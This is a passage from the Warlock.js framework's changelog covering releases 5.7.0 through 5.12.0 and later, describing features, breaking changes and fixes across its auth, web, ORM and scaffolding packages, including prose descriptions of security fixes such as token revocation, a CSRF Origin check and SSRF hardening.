@simplewebauthn/serveragainst anode:cryptosoftware authenticator (noneattestation, ES256 assertions). - Added
AuthErrorCodes.InvalidProviderCallback("EC009"),AuthErrorCodes.ProviderEmailNotVerified("EC010") andAuthErrorCodes.InvalidPasskey("EC011"). - Fixed
verifyPasskeyAuthenticationreported a cloned authenticator asreason: "authentication-verification-failed", because@simplewebauthn/serverrejects a non-advancing counter itself before auth's own check runs. It now reports"counter-regression". The response (400,EC011) is unchanged. - Security Access and refresh tokens (and one-time tokens, and passkey credentials) are no longer copied into MongoDB trash collections on delete.
AccessToken,RefreshToken,OneTimeTokenandPasskeyCredentialnow declarestatic deleteStrategy = "permanent", overriding the MongoDB driver's default"trash"strategy. Previously,AccessToken.purgeExpired(),RefreshToken.purgeExpired()/purgeNeverExpiring(), andauthMiddleware's expired-token cleanup all calleddestroy()without a strategy override, so on MongoDB every purge or invalidation copied the live JWT intoaccess_tokensTrash/refresh_tokensTrashbefore deleting the original — leaving usable credential material behind after "revocation".OneTimeToken.purgeSpent()already forced"permanent"per-call (5.13.0 above); that override is now redundant and has been removed in favor of the model-level default. Apps that have been running on MongoDB may want to drop theaccess_tokensTrash,refresh_tokensTrashandone_time_tokensTrashcollections, which may hold copies of now-revoked credentials.
- Fixed Restored the portable
typecheckscript and compile access as ESM so workspace source imports usingimport.metaare valid. - Fixed An unpoliced instance-level check was fail-open (allowed via the RBAC grant alone) unless
strictPolicieswas explicitly enabled, which could silently reach a resource-scoped IDOR for a forgottendefinePolicycall. It now fails CLOSED by default;strictPolicies: falsestill restores the old fallback and warns once per permission naming the missing policy and the config key.
- Added
linkStylesheetsFor(request, sourceFile): middleware or a loader declares a lazily imported module (e.g. a per-tenant theme from a staticimport()map), and the module's CSS is added to that response's render-blocking<head>links. Dev resolves it through the module graph, production through the Vite manifest. Before this, a lazy theme painted unstyled until client JS loaded its CSS. An unknown id throwsUnknownStylesheetSourceErrorand a malformed id throwsInvalidStylesheetSourceError. See the newmulti-themeskill. - Added
route.cache.varyBy?: (request) => stringadds a request-derived component to the server page cache key, and a function-formroute.cache.tagsnow receives{ shared }as its second argument, e.g. for tagging entries by theme. - Added
useTrans()now accepts generated, literal translation keys.warlock devaugments web'sTranslationKeyRegistryfrom registeredgroupedTranslationsdictionaries; before generation it safely acceptsstring. - Fixed BREAKING: The server page cache key now includes the request
Host. Before, two hosts (tenants) serving the same URL shared one entry, so tenant B could be served tenant A's document andsharedpayload. This also closed a Host-header cache-poisoning path. - Fixed The server page cache now stores the streamed document the MISS visitor received, not the synchronous
renderToStringpass. That pass rendered a not-yet-resolvedReact.lazyboundary as its Suspense fallback, so every later HIT replayed the fallback. - Fixed
warlock dev: aserverCache: truepage no longer answers 500CacheDriverNotInitializedError. An appresolveAliasentry for a framework package made Vite ignoressr.externaland load a second, never-booted copy. Dev SSR now always imports@warlock.js/core,cache,logger,contextandcascadefrom the instance the app booted, as production does, and drops app aliases that would re-inline an SSR-external package. - Fixed A page request that fails outside the page pipeline (a cache failure, a module that fails to load) is now logged to stderr as
[warlock:web] page request <METHOD> <path> failed: <error>. Before, the error reached only the app'serror.page.tsxand the server log stayed empty. - Fixed
peerDependencies.reactandreact-domtightened from"*"to^19.0.0—webis only built and tested against React 19 (seedevDependencies), so the peer range now says so instead of accepting any major. - Fixed Projection no longer refuses a type-only import (
import type {} from "./x",import type { X } from "./x",import { type X } from "./x") as an attribution-ambiguous statement. A type-only import is erased at build and carries no runtime binding, so it can never reach the client — it was wrongly falling into the "bare side-effect import" refusal. A mixed import (import { type A, B } from "./x") still has its value specifier checked exactly as before.
- Added
warlock add queueinstalls@warlock.js/queue, generates Redis-backedsrc/config/queue.ts, and registersqueueConnector()inwarlock.config.ts. - Added
warlock add auth-googleandwarlock add auth-passkeysinstall@warlock.js/auth's Google sign-in (jose) and passkey (@simplewebauthn/server) login methods. - Added
warlock devgenerates.warlock/typings/translations.d.tsfrom literalgroupedTranslationsdictionaries, augmenting web's typed translation-key registry. - Changed
warlock devnow uses a 12ms quiet window for isolated file saves while extending multi-file bursts up to a 60ms maximum, reducing routine HMR latency without splitting formatter or checkout reloads. - Fixed Safely return no alias resolution when a configured alias has no first target.
- Fixed
@warlock.js/coreno longer imports@warlock.js/auth;useHashedPasswordnow calls core's ownhashPassworddirectly instead of an auth-service delegate that only called back into core, and@warlock.js/authmoves to a dev-only dependency. A guard spec now fails the build if anycore/srcmodule imports@warlock.js/auth.
- Added
Model.atomic,Model.findOneAndUpdateandModel.findAndUpdatetake options:upsert,arrayFilters(MongoDB), and onfindOneAndUpdatereturnDocument: "before" | "after"(default stays"after"). A counter or quota can now be filter +$inc/$setOnInsert+ upsert, returning the new document, in one call. - Added Update operators
$setOnInsertand$addToSet, and pipeline (array-form) updates such as[{ $set: { score: { $add: ["$likes", "$shares"] } } }](MongoDB). - Added
trustedFilter: truelets a code-authored conditional filter ({ used: { $lt: 10 } }) through the operator-injection check on these statics. Filters are still checked by default. - Added Postgres upsert runs as
INSERT … ON CONFLICT … DO UPDATE … RETURNING *. The conflict target is the primary key or a unique index whose columns are all equality keys of the filter. - Added
UnsupportedUpdateOperationError(operation,driver): what a driver throws when it cannot run part of an update. - Added
.lean()on the query builder:get/first/paginate/chunkreturn plain objects typed as the model schema (LeanDocument<T>), with no Model hydration, no driver casting and nofetchedevent.static hiddenfields are still removed. Withwith()/joinWith()it throwsUnsupportedLeanOperationError. About 1.9x faster than a hydrated read for 10k MongoDB documents. - Added
.unwind(field, { preserveNullAndEmptyArrays?, includeArrayIndex? })and.addFields(fields)on the query builder (MongoDB). Both run in call order, so awhere()afterunwind()filters the elements.join({ table, alias, pipeline })now sends a pipeline$lookup. - Added
UnsupportedQueryOperationError(operation,driver): the Postgres builder throws it forunwind()andaddFields(), so these stages are never dropped without an error. - Changed BREAKING: The Postgres driver now throws
UnsupportedUpdateOperationErrorfor$push/$pull/$addToSet, pipeline updates,arrayFiltersand unknown operators. It used to ignore$push/$pullwithout saying so. - Changed
Model.atomicreturns modified + upserted count. - Changed Postgres
findOneAndUpdatepicks its row withSELECT … LIMIT 1 FOR UPDATE, matches it by primary key and checks the filter again, so concurrent callers never go past a conditional filter. - Fixed
$decon the MongoDB driver was sent to the server as-is and rejected ("Unknown modifier"). It is now converted to a negative$inc. - Fixed The MongoDB pipeline parser dropped
$vectorSearchand$addFieldsstages, sosimilarTo()ran with no vector search and noscore. It now emits both. - Fixed On MongoDB, a
join()with apipelinesent a$lookupwith no pipeline and no join fields. - Fixed On MongoDB,
joinRaw()andraw()were silently dropped from the pipeline.joinRaw(stage | stages)now emits the stages verbatim in call order;raw(pipeline => …)receives the pipeline built so far and may return a replacement. A SQL string, a non-stage object or a non-array callback result throwsUnsupportedQueryOperationError. - Fixed On MongoDB,
select([...]).orderBy(field)did not sort whenfieldwas not selected, because$projectran before$sort(hydrated, lean,first()andpaginate()reads). The sort now runs before the projection; sorting by a computedselectRawalias still works, also mixed with unselected fields.
- Added The optional-feature selector now offers Google sign-in, passkey sign-in, and durable Redis-backed BullMQ queues.
- Fixed A
--db=postgresscaffold shippedsrc/config/database.tswith an emptyclientOptions: {}. Cascade'sPostgresPoolConfigextendsPostgresConnectionConfig, whosedatabasefield is required (not optional, unlike Mongo'sMongoClientOptions), so{}failedtsc --noEmiton that exact line before a single line of app code ran.templates/warlock/src/config/database.postgres.tsnow setsdatabaseinsideclientOptionstoo. Verified against a realnpm create warlock@5.12.0 --stack=web --db=postgres --jwtscaffold installed from the registry: this was the onlytscerror once devDependencies installed correctly (see below), and it is gone after the fix. Guarded by a new static check inspecs/template-integrity.spec.ts. - Fixed Investigated a separate report that a
--stack=web --db=postgres --jwtscaffold lacked@warlock.js/weband@types/react/@types/react-dom. Not reproducible against the published 5.12.0 template:package.jsonlists all three correctly, and a clean install (npm ciwithNODE_ENVunset) installs them. The only way to reproduce the missing@types/*packages was installing withNODE_ENV=productionset, which makes npm skipdevDependenciesentirely — an environment condition on the installing machine, not a scaffold defect. No template change made for this report. - Fixed The scaffolded
Usermodel'sverifiedscope queried a booleanemailVerifiedcolumn that has never existed in the template's schema or migration.@warlock.js/auth's email verification (added in 5.13.0) stampsemailVerifiedAt(a nullableDate) instead, treating "verified" as the field holding a value.templates/warlock/src/app/users/models/user/user.model.tsnow declaresemailVerifiedAt: v.date().optional()on the schema and scopesverifiedviaquery.whereNotNull("emailVerifiedAt"); the user migration adds the matching nullabletimestamp()column. Guarded by new checks inspecs/template-integrity.spec.ts.
- Added Scoped UTC day/month budget ledgers through
budget({ scoped }), with an in-memory store and a lazy optional-peer cache store. Shared limits atomically reject overages withScopedBudgetExceededErrorcarrying the ledger key, window, limit, and attempted usage. Cache-backed deployment-wide enforcement requires a cache driver whoseupdateprimitive is cross-node atomic; Cascade storage awaits its atomic upsert API. - Added
cascadeScopedBudgetStore({ model })/cascadeScopedBudgetStore({ table })— a lazy optional Cascade ledger with atomic conditional reservations. Its backing table needs a unique(key, windowStart, unit)index. - Fixed
@warlock.js/cachemarkedoptionalinpeerDependenciesMeta— every runtime import of it insrcisimport type(structural typing only, e.g.config.ts,memory/*.ts,rag/**);@warlock.js/cacheis never required to resolve at runtime for a consumer that doesn't opt into cache-backed features.@warlock.js/loggerstays a required (non-optional) peer: several modules (config.ts,agent/agent.ts,eval/eval-runner.ts,workflow/engine.ts,planner/planner.ts,planner/planner-run.ts,supervisor/execution.ts) import itslogvalue statically at the top level, so the package must be resolvable at load time.
- Changed Portable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- Changed Portable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- Changed Portable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- Changed Portable
typecheckscript: runs against this package's owntypescriptdevDependency instead of relying on a hoisted binary from elsewhere in the workspace.
- Fixed Use the package-resolved TypeScript binary for type checking.
- Fixed Restored the portable
typecheckscript after Core's path-alias resolver was made safe for an absent first target.
- Fixed Use the package-resolved TypeScript binary for type checking.
5.12.0 September 16, 2026
The authenticated user moves from request.user to request.locals.user (BREAKING, @warlock.js/core / @warlock.js/auth / @warlock.js/access), @warlock.js/auth adds a CSRF Origin check for cookie-authenticated writes plus setAuthCookie() / clearAuthCookie(), and @warlock.js/web ships an opt-in server-side page cache, defer()-ed streaming data with crawler-aware inlining, scroll restoration and locale-direction (RTL) support. @warlock.js/core adds opt-in request tracing and a CSP header; create-warlock scaffolds non-interactively by default and fixes a fresh-scaffold npm run seed failure. Lockstep release across all 28 packages. Generator matrix ran subset scope (baseline, web rows) against the staged candidate, authorised by Hasan on 2026-09-16: "Yes do it please, don't release before completing all mising points and make sure you have covered everything in the tasks board."
Generator matrix: selected rows ran against the staged candidate — baseline, web.
- Added Emitted scripts carry the request's CSP nonce.
- Added
<ClientOnly>anduseIsClient()— render browser-only UI with a server fallback and no hydration mismatch. - Added
defer()in page loaders — stream a slow top-level loader key in after the shell instead of blocking the first byte on it, read it with React'suse()inside<Suspense>. A rejection or aweb.streaming.deferTimeouttimeout resolves to the nearest<Suspense>error boundary with status 200 already sent, never a different HTTP status. Client navigations stream the same values as NDJSON automatically.metadata()may read only resolved keys — reading a deferred one throwsDeferredKeyInMetadataError, naming the key and the page, in dev and in production. See thestream-deferred-dataskill. - Added Scroll position is restored on back/forward client navigation, keyed per history entry and persisted to
sessionStorage. New navigations scroll to the top, or to the hash fragment when there is one. - Added
localeDirection(locale)anduseTextDirection(): one locale-to-direction resolver shared by server and client. Root templates set<html lang={locale} dir={useTextDirection()}>. - Added
changeLocaleCode(code)switches the active locale without a full reload. The server persists the choice in itslocalecookie when a navigation data request carries?locale=. - Added Page requests report
loader(per level),render.shellandstream.endphases through core'shttp.tracinghooks when tracing is enabled (off by default). - Added
web.streaming.crawlers— a detected crawler's full-document request now gets everydefer()-ed value awaited and inlined in the HTML before the first byte, so indexing needs nothing else; a rejection renders the ordinary error boundary with its real status. The document still carries the normal__WARLOCK_DEFER__settlement scripts so a JS-capable crawler hydratesuse(data.key)through the existing registry same as any other visitor. Detection is case-insensitive against a documented built-in user-agent list (googlebot, bingbot, yandex, duckduckbot, baiduspider, slurp, applebot, facebookexternalhit, twitterbot, linkedinbot, discordbot, slackbot, telegrambot, whatsapp, embedly, pinterest); setcrawlers: falseto disable detection, orcrawlers: { userAgents, detect }to customise it —detectwins outright when given. A page that usesdefer()now sendsVary: User-Agenton its document response; a page that never defers is unaffected. See thestream-deferred-dataskill's "Crawlers" section. - Added A server-side page cache, opt-in per route. Extends
route.cachewithserverCache?: boolean,tags?: string[] | ((data) => string[]), and an optionalttl— separate frompublic/maxAge, which only decide the downstream CDN'sCache-Control. AserverCacheroute holds its resolved document ANDx-warlock-dataJSON, and serves a HIT without re-running loaders or rendering. The cache key is the normalised path, sorted query, resolved locale and representation (html/json); a request for the NDJSON representation is served the fully-resolvedjsonvariant instead of streaming. A request carrying anAuthorizationheader or the configured auth cookie (auth.cookie.name, defaultaccess_token) always bypasses the cache, before any loader runs. Storage requiresGET,status === 200, noSet-Cookie, and a provably unauthenticated request — the same fail-closed rule already governingCache-Control. Responses carry a newx-warlock-cache: hit | miss | bypassheader. Invalidate stored entries withinvalidatePageCache(tags), imported from the server-only subpath@warlock.js/web/page-cache(it reaches@warlock.js/cache, so it stays off the client-reachable root barrel).@warlock.js/cacheis an optional peer, loaded only when a route actually opts in; enablingserverCachewith an in-process cache driver (memory/LRU/memory-extended) in a clustered deployment logs a one-time warning, since invalidation on one worker never reaches another — use a shared driver (redis/pg) for cluster-wide invalidation. See thecreate-a-pageskill's "Server-side page cache" section. - Changed The page-data wire format is now devalue, not plain JSON. Dates, Maps and Sets (and BigInts,
undefinedinside an object, repeated references, and cyclic structures) now arrive in the browser intact — as realDate/Map/Setinstances, not flattened strings or dropped keys — forappData,layoutData,pageData, and adefer()red value's settlement, on the initial document, a client navigation's data response, and its NDJSON stream. A loader value devalue cannot serialize (a class instance it does not recognize, a function, a symbol) now fails the build loudly in dev and production, naming the loader level (app/layout/page), the key path, and the page route — give it a resource or atoJSON()instead.sharedis unaffected: it keeps its own, stricter gate. See theload-page-dataskill's "What survives the wire" section. - Changed The dev and production page installers now share the layout-prefix table and the not-found route's options instead of implementing each twice; parity checks cover both.
- Changed Pages are rendered with React's streaming renderer. The response still waits for loaders, validation and middleware, so status codes, headers and cookies are unchanged — the document simply starts arriving sooner.
- Fixed
document.documentElement'slang/dirnow follow a client-side locale switch —changeLocaleCode(), and any navigation or refresh whose payload carries a differentlocale. PreviouslyuseLocale()/useTextDirection()updated in-page immediately, butdocumentElementkept the last full load'slang/diruntil a reload, becauseroot.tsxsits outside the hydrated subtree. - Fixed A page middleware that short-circuits a full page load now always answers with something, never a silently empty document. Previously, a middleware that returned a value WITHOUT writing the reply itself (e.g.
response.setStatusCode(403); return { error }, or a plainreturn { message }) produced a blank document at that status — the returned value was recorded but never used. A middleware that already wrote its own reply (response.redirect(),.forbidden(), any call reaching.send()) was and is unaffected: the wire already carried the real answer. Now: a>= 400short-circuit renders yourerror.page.tsxboundary with that status and the returned value attached to the error; a2xxshort-circuit sends the returned value as the body, unchanged (JSON-stringified if it's an object) — a page middleware returning 2xx content replaces the page. Client navigations (data requests) are byte-identical to before.
- Added
authService.setAuthCookie(response, token, options?)andauthService.clearAuthCookie(response, options?)— the write side of thecookie:<name>token sourceauthMiddleware([], "cookie:<name>")has accepted since 5.0.0 (card 50bf4f1a).setAuthCookieaccepts a raw token string or anAccessTokenOutput(derivingMax-AgefromexpiresAtautomatically); both are explicit app-controller calls —login/logoutnever set cookies implicitly, so upgrading never starts emittingSet-Cookiefor an existing bearer-only app. Cookie name/path are configurable via the newauth.cookieconfig block (defaults:"access_token"/"/"); attribute flags (HttpOnly,SameSite=Lax,Secureoutside dev) are not — they come from core'ssecureCookieDefaults(), the framework-wide floor. - Changed BREAKING: the authenticated user now lives at
request.locals.user, declared by@warlock.js/auth.request.useris removed (in development it throws with the new location).@warlock.js/auth's middleware writesrequest.locals.userafter a successful token resolution and clears it (= undefined) on a forged, malformed, expired, or wrong-type token;RequestUser— the augmentable, empty-by-default interface apps narrow to their own model — moved from@warlock.js/coreinto@warlock.js/authalongside it. - Security CSRF Origin check for cookie-authenticated writes.
authMiddlewarenow automatically rejects, with403(AuthErrorCodes.CsrfOriginMismatch,"EC006"), any request whose credential came from acookie:source and whose method is unsafe (POST/PUT/PATCH/DELETE) unlessOrigin(or, absent that,Referer) names the request's own origin or an entry in the newauth.csrf.allowedOriginsconfig (default[]). A request with neither header is rejected, fail-closed. Header-token authentication and safe methods (GET/HEAD/OPTIONS) are completely unaffected. This closes the residual CSRF gapSameSite=Laxalone leaves open for cookie auth (a same-site GET redirect chain, or a client that ignoresSameSite); a double-submit token mechanism is deferred to a later release. - Security The CSRF Origin check's own-origin comparison includes the request's port (read from the
Hostheader, since core'srequest.hostnamenever carries one), with default ports (:80onhttp,:443onhttps) normalised as equivalent to no port. A same-origin cookie-authenticated write on a non-default port — e.g. everywarlock devsession — is now correctly allowed instead of being rejected with403 EC006.
- Added Opt-in request tracing (
http.tracing): vendor-neutralonRequestStart/onRequestEnd/onPhasehooks fired aroundroute.match,middleware,validation,handler, andresponse.write, with the trace id derived from an inbound W3Ctraceparentheader (falling back torequest.id). Off by default and zero-overhead when disabled; a throwing hook is caught and reported once, never breaking the request. No new response header — apps still correlate through the existingX-Request-Idecho. See therequest-tracingskill. - Added Opt-in
Content-Security-Policyheader (http.csp), using the per-request nonce the framework already generates; report-only mode supported. - Added
Response.streamReact()and the underlyingstreamReactResponse()helper (@warlock.js/core's Stage 1 streaming SSR seam): pipe a React server stream (renderToPipeableStream) onto the raw response after writing the already-committed status and headers, aborting the render if the client disconnects.@warlock.js/webuses this exclusively to stream a page document — it never touches the raw response itself. - Changed
container.get(key)now throws a named error when the key is not registered, instead of returningundefinedwhile typed as present. Usecontainer.tryGet(key)where the value is genuinely optional. - Changed BREAKING:
request.userandclearCurrentUser()removed from the HTTP request;RequestUsermoved to@warlock.js/auth. The authenticated user now lives atrequest.locals.user, a key@warlock.js/authdeclares via module augmentation onRequestLocalsand writes from its middleware. Readingrequest.userin development throws a newRequestUserMovedErrornamingrequest.locals.user(kept for one release as a migration diagnostic; removal is documented, not silent).decodedAccessTokenand its cache-mark behavior (request.locals.authDerived) are unchanged.useCurrentUser()/requestContext.getUser()now readrequest.locals.userand returnunknown/the caller's generic instead of the removedRequestUsertype — see@warlock.js/auth'scurrentUser()for a typed wrapper. - Fixed Renaming or moving a file under
warlock devno longer prints a falseENOENTfailure before the route is rewired. - Fixed
warlock routes --jsonnow prints only JSON on stdout. The› Running <command>...header moved to stderr, like the completion banner. - Fixed Production build contribution hooks (
generate/emit) sawoutFile,entryPath,singleBundle,esmShimandbannerasundefined, because bundling deleted them from the shared build options. The bundler now works on its own copy.
- Changed
create-warlockasks at most one question (API-only or full-stack web); every other choice is a flag with a default, printed after scaffolding. Fully non-interactive with--yes;--interactiverestores the long form;--agentspicks agent-kit targets (defaultclaude). - Fixed
npm run seedfailed on a fresh scaffold: the generateduserSchemarequiredimageandlastLogin, but neither the seed data nor a password login ever supplies them. Both are now.optional()on the model —imageis still required at registration by the controller's owncreate-user.schema.ts, andlastLoginis only ever written by the social-login handler, so a user who has never logged in correctly has neither.
- Changed Follows
@warlock.js/coreand@warlock.js/auth's 5.12.0 move of the authenticated user fromrequest.usertorequest.locals.user:gate()/gateAny()/gateAll()now readrequest.locals.userinstead of the removedrequest.user. No change tocan()/canAny()/canAll()themselves, and no change to the app-side contract — an app still augmentsRequestUser(now declared by@warlock.js/auth) to its ownAuth-derived model.
- Fixed Atomic writes on Windows no longer fail intermittently with
EPERM/EBUSYwhen another process briefly holds the target; the rename is retried with a short backoff, and a clearAtomicWriteErroris thrown if it never succeeds.
5.11.0 September 14, 2026
A page load that fails validation now renders your error page with status 400 instead of a blank page (@warlock.js/web), v.boolean().accepted() / .declined() now accept the form strings they advertise (@warlock.js/seal), and @warlock.js/cascade's pg / mongodb drivers are optional peers so a no-database project installs cleanly. warlock dev reloads backend files sooner and prints hmr update only once the change is live; create-warlock drops the misleading guardedAdmin() helper. Lockstep release across all 28 packages.
Generator matrix: not run for this release.
- Changed A page load that fails
validationnow renders yourerror.page.tsxwith status 400 and the validation errors, instead of a blank 400 response. Client navigations are unchanged. If you relied on the empty body, check your error page handles a 400. - Changed The dev and production page installers now compose a layout level's middleware and loaders through one shared rule, and a parity check covers middleware and loaders as well as rendering and prefixes.
- Fixed
v.boolean().accepted()/.declined()(and their conditional variants) rejected every string form they advertised —"yes","on","1"— because the boolean type rule ran first. They now parse those form values into a real boolean.
- Fixed A project that uses no database — or only one of PostgreSQL / MongoDB — no longer fails
npm lswith missingpg/mongodbpeers; both drivers are now optional peers, and you install the one you use.
- Added Tests and documentation for optional file fields:
v.file().optional()skips an absent upload and reports a present non-file value as a normal validation error. - Changed Backend file changes are picked up sooner in
warlock dev(event debounce 150ms → 50ms). - Fixed
warlock devprintedhmr updatefor a backend file before the new code was live, so a request made right after the line could still get the old response. The line now prints once the reload has finished and shows how long it took.
- Removed The generated
guardedAdmin()router helper. It only checked that the user was signed in — any user type — while its name and/adminprefix implied an admin-only area. New projects getguarded()(any authenticated user) and a documented example for restricting a group to a user type. Existing projects keep their own copy of the file; review it if you usedguardedAdmin.
5.10.0 September 14, 2026
@warlock.js/seal adds v.boolean().coerce() for query-string booleans ("true"/"1" → true, "false"/"0" → false), strict by default. @warlock.js/web pins one 400 for a page whose validation = { params, query } fails in both parts and corrects the load-page-data skill; create-warlock ships a formatted postgres template. Lockstep release across all 28 packages.
Generator matrix: not run for this release.
- Added
.coerce()onv.boolean()— opt-in query-string coercion ("true"/"1"→true,"false"/"0"→false).
- Fixed The
load-page-dataskill described the withdrawn{ schema }-only validation shape and a 422 status; it now documentsvalidation = { params, query }and its single 400. - Removed Unused internal
RouteValidationError.
- Fixed A postgres scaffold shipped
src/config/database.postgres.tsunformatted, so a new project's first dev run flagged it. The template is formatted, and the template-format check now runs as part ofcreate-warlock's own test suite.
5.9.0 September 14, 2026
@warlock.js/seal adds opt-in query-string coercion — v.int().coerce() (and the number family) parse a numeric-shaped string into a number while strict validation stays the default. @warlock.js/web now warns when a .client module is reached from the server import graph (the suffix is a developer marker, not enforced isolation) and pins dev/prod route-table parity as an always-on gate; @warlock.js/auth documents one app-owned optional-auth middleware as the sanctioned pattern, with auth.pageAuth as its adapter. Lockstep release across all 28 packages.
Generator matrix: not run for this release.
- Added
.coerce()modifier on the number validators (int/number/float/numeric): opt into parsing a numeric-shaped string (e.g. a query-string param) into a number while the type rule stays strict.v.int()is unchanged by default; chain.coerce()to accept"2"as2. The inferred output type is unaffected.
- Added Dev diagnostic when a
.clientmodule is reached from the server import graph. The.clientsuffix is a developer marker, not enforced isolation (the import graph decides where code runs); this emits a named, non-fatal warning identifying the offending edge instead of silently over-promising.
5.8.0 September 13, 2026
Auth token migrations now match your user model's primary key (integer or uuid), fixing a fresh app's first login, and a guarded page can redirect a logged-out browser to a login route (opt-in auth.pageAuth). Custom warlock <command> files resolve the app/* alias, --db=postgres scaffolds a real Postgres config/database.ts, and dev SSR no longer flashes unstyled. Fixes across core, auth, web, cascade and create-warlock.
Generator matrix: not run for this release.
- Added Guarded page routes can redirect a logged-out browser to a configurable login path instead of returning a raw JSON 401 — opt-in via
auth.pageAuth.loginPath(API routes still return the JSON 401). - Fixed The
access_tokens/refresh_tokensmigrations now derive theuser_idcolumn type from the user model's primary key (viaforeignId), so a fresh app with an integer-PK user can log in — the hardcodeduuiduser_idpreviously failed the first login with no diagnostic.
- Added
doctorgains ajwt-secretcheck: it fails whenauth.userTypeis configured but no JWT signing secret is set — the pre-flight form of the silent first-login 500 the lazy secret resolution would otherwise throw. - Changed The emitted generator and starter templates no longer carry a redundant
.required()—@warlock.js/sealfields are required by default, so the call was a no-op that taught the opposite of the truth..required()still exists for setting a custom message. - Fixed CLI command modules now resolve the
app/*path alias and.tssiblings the way controllers and pages do. The ESM loader hook is registered before a command module is imported, so awarlock <command>file that importsapp/*no longer dies withERR_MODULE_NOT_FOUND. - Fixed
warlock generate.*error hints point atgenerate, not the removedcreate.*command. - Fixed A generated CRUD repository imports every
@warlock.js/coretype it references, and a generated seed stub ships disabled so an unfilled stub cannot abort the wholewarlock seedrun. - Fixed The HTTP-port preflight runs only for a boot that actually starts the http connector, so a scoped data command (
warlock seed,migrate) no longer probes — and collides with — a port it never binds. - Fixed A port-in-use error now names the
HTTP_PORTenvironment variable and tells you to unset it when an ambient value is the cause, instead of advising asrc/config/http.tsedit that the environment variable would just override.
- Added
Migration.foreignId(name)derives a foreign-key column's type frommigrationDefaults.primaryKey, so FK columns match the app's chosen primary-key type (integer / bigInteger / uuid). - Fixed Numeric-looking Postgres connection config (e.g. a numeric
DB_NAME) is coerced to a string viabuildPostgresPoolConfig, instead of crashing the driver with an inscrutable buffer error.
- Fixed Dev SSR now emits the page's stylesheet
<link>in<head>, fixing a cold module-graph flash-of-unstyled-content — the first paint of a page whose CSS is reached only through the module graph is now styled in development, as it already was in production. - Fixed A dev-mode SSR render error now reaches an unconditional stderr floor with a real diagnostic, instead of a diagnostic-free generic 500.
5.7.0 September 12, 2026
A fresh project installs again on Node 22, the SSRF guard now fails closed on an address it cannot classify, and @warlock.js/web withdraws the 5.6.0-added route.validate / route.middleware — a page still declaring either refuses to boot. Fixes across core, web, ai, cascade, cache, logger, access, ai-openai and create-warlock.
Generator matrix: not run for this release.
- Changed The dev and production page installers now agree on the layout chain, the layout level, and the hydration entry URL by construction rather than by inspection, each gated with a red control. The three places they still differ — live
public/serving, its cache header, and hashed-asset caching — are deliberate and are now declared in the code that implements them. - Fixed Dev and production agree about stylesheets. A stylesheet reached only through a component import was collected by production's bundler-graph walk and was structurally invisible to dev's scan of the page file — so a page rendered unstyled in development and correct in production. Both sides now end in one traversal, gated by a fixture built through both pipelines with the outputs diffed.
- Fixed A client navigation whose data payload is incomplete now loads the page normally instead of rendering it blank. Navigation carried its own copy of the payload rule and checked two of the six required keys, so a payload that could not render a page was accepted and handed to React anyway; the failure surfaced later, somewhere else, pointing at nothing. It now falls back to a full page load — slower for that one click, and the page arrives.
- Fixed The dev server no longer says it is watching for changes while it is not yet serving. On a slow boot that line arrived up to three minutes before the port was bound; every word of it was true and the impression it left was false.
- Fixed The
create-a-pageskill andllms-full.txttaughtroute.validateandroute.middleware— with a complete worked example — after both were withdrawn. Following our own documentation produced an app that would not start. - Removed
route.validateandroute.middlewareare withdrawn, one release after 5.6.0 added them. They were a second way to say what the top-levelvalidationandmiddlewareexports already said, on the same file — and the two validation surfaces disagreed about the status code. Migration is a move, not a rewrite: the schema shape is unchanged (paramsandquerystay separate, never merged) and the failure is still 400.
- Changed Internal type-safety hardening across the CLI, dev server and request handling; no other behaviour change.
- Fixed The dev server no longer says it is watching for changes before it is serving. On a slow boot that line could arrive minutes before the port was bound.
- Fixed The dev-server error formatter can no longer throw while formatting an error, which replaced the developer's real error with its own crash.
- Fixed
warlock addwith an unknown feature now names it, instead of dying withCannot read properties of undefined. - Fixed Bracket-notation request bodies (
items[0][name]) no longer silently drop values. - Fixed
warlock routesand the circular-import report degrade to unaligned output instead of throwing on an unexpected shape. - Security The SSRF guard now fails closed on an address it cannot classify. An unclassifiable IP was previously treated as public, so an outbound request could reach an internal address the guard exists to block.
- Changed Internal type-safety hardening elsewhere; no other behaviour change.
- Fixed The Postgres query builder could quote a malformed or empty field path straight into generated SQL, producing a syntactically valid query against the wrong identifier; it now throws naming the offending field path instead.
- Fixed The MongoDB pipeline builder could build
$group,$lookup,$limit/$skip/$setWindowFieldsstages from an empty operation group, producing malformed stages (e.g.{ $limit: undefined }, a$lookupwith nofrom/localField/foreignField) that MongoDB rejected only at query execution. These now resolve to the documented safe defaults (null/skip) instead. - Fixed The dirty-change tracker and the MongoDB migration driver could write or delete the literal key
"undefined"on a document when a dirty-path segment was missing, instead of leaving the real field untouched. - Fixed The query builder's count and JSON-projection handling could dereference an absent regex capture and throw, instead of falling back to the same empty result its other branches already return.
- Changed Breaking: indexing (
ragand the skills catalogue) now throwsEmbeddingVectorCountMismatchErrorwhen an embedding provider returns fewer vectors than records, instead of silently storing/scoring a record with no vector. Previously the run reported success while a document was left out of the index entirely. - Changed Internal type-safety hardening; no other behaviour change.
- Fixed
embed()on a provider response with an emptydataarray now throwsEmbeddingVectorCountMismatchErrornaming the provider and expected/received counts, instead of a bareTypeError: Cannot read properties of undefined (reading 'embedding'). - Fixed Chat completions on a provider response with an empty
choicesarray now throw aProviderErrornaming the provider, model, and choice count, instead of a bareTypeError.
- Changed Internal type-safety hardening elsewhere (similarity scoring, percentile calculation); no behaviour change.
- Fixed The in-memory cache driver's expiry sweep iterated
for...inwhile deleting entries from the same object it was iterating, which could skip not-yet-visited keys and leave them cached past their TTL. It now snapshots entries first.
- Changed Internal type-safety hardening in the file-log and JSON file-log channels; no behaviour change.
- Fixed
redact()could leave a field un-redacted — writing to the literal key"undefined"instead of the intended path segment — when a configured redaction path had an empty segment.
- Fixed A freshly scaffolded project could fail
npm installoutright on Node 22, crashing inside npm 10.9.x's Arborist peer resolver withCannot read properties of null (reading 'edgesOut')while resolving the template's vitest dependency. The template now pins vitest to 4.0.5. - Fixed When the generated project's install failed, the scaffolder told the user to "fix the error above, then run the install again" — advice that could not be followed for an npm-internal crash. It now recognizes the npm 10.9.x Arborist crash and points to concrete next steps (npm 11, pnpm, or yarn) instead.
- Fixed
